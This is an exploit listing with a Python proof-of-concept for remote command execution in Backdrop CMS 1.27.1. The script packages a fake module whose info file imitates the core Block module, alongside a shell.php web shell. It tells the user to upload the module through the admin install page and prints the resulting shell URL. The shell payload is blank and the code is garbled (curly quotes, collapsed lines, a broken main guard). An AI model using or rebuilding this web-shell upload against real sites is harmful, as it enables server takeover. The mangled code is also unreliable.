Exploit Title: Backdrop CMS 1.27.1 - Remote Command Execution (RCE)

Date: 04/27/2024

Exploit Author: Ahmet Ümit BAYRAM

Vendor Homepage: https://backdropcms.org/

Software Link: https://github.com/backdrop/backdrop/releases/download/1.27.1/backdrop.zip

Version: latest

Tested on: MacOS

import os import time import zipfile

def create_files(): info_content = “”” type = module name = Block description = Controls the visual building blocks a page is constructed with. Blocks are boxes of content rendered into an area, or region, of a web page. package = Layouts tags[] = Blocks tags[] = Site Architecture version = BACKDROP_VERSION backdrop = 1.x

configure = admin/structure/block

; Added by Backdrop CMS packaging script on 2024-03-07 project = backdrop version = 1.27.1 timestamp = 1709862662 “”” shell_info_path = “shell/shell.info” os.makedirs(os.path.dirname(shell_info_path), exist_ok=True) # Klasörü oluşturur with open(shell_info_path, “w”) as file: file.write(info_content)

shell_content = “””


””” shell_php_path = “shell/shell.php” with open(shell_php_path, “w”) as file: file.write(shell_content)

return shell_info_path, shell_php_path

def create_zip(info_path, php_path): zip_filename = “shell.zip” with zipfile.ZipFile(zip_filename, ‘w’) as zipf:

Dosyaları shell klasörü altında sakla

zipf.write(info_path, arcname=’shell/shell.info’) zipf.write(php_path, arcname=’shell/shell.php’) return zip_filename

def main(url): print(“Backdrop CMS 1.27.1 - Remote Command Execution Exploit”) time.sleep(3)

print(“Evil module generating…”) time.sleep(2)

info_path, php_path = create_files() zip_filename = create_zip(info_path, php_path)

print(“Evil module generated!”, zip_filename) time.sleep(2)

print(“Go to “ + url + “/admin/modules/install and upload the “ + zip_filename + “ for Manual Installation.”) time.sleep(2)

print(“Your shell address:”, url + “/modules/shell/shell.php”)

if name == “main”: import sys if len(sys.argv) < 2: print(“Usage: python script.py [url]”) else: main(sys.argv[1])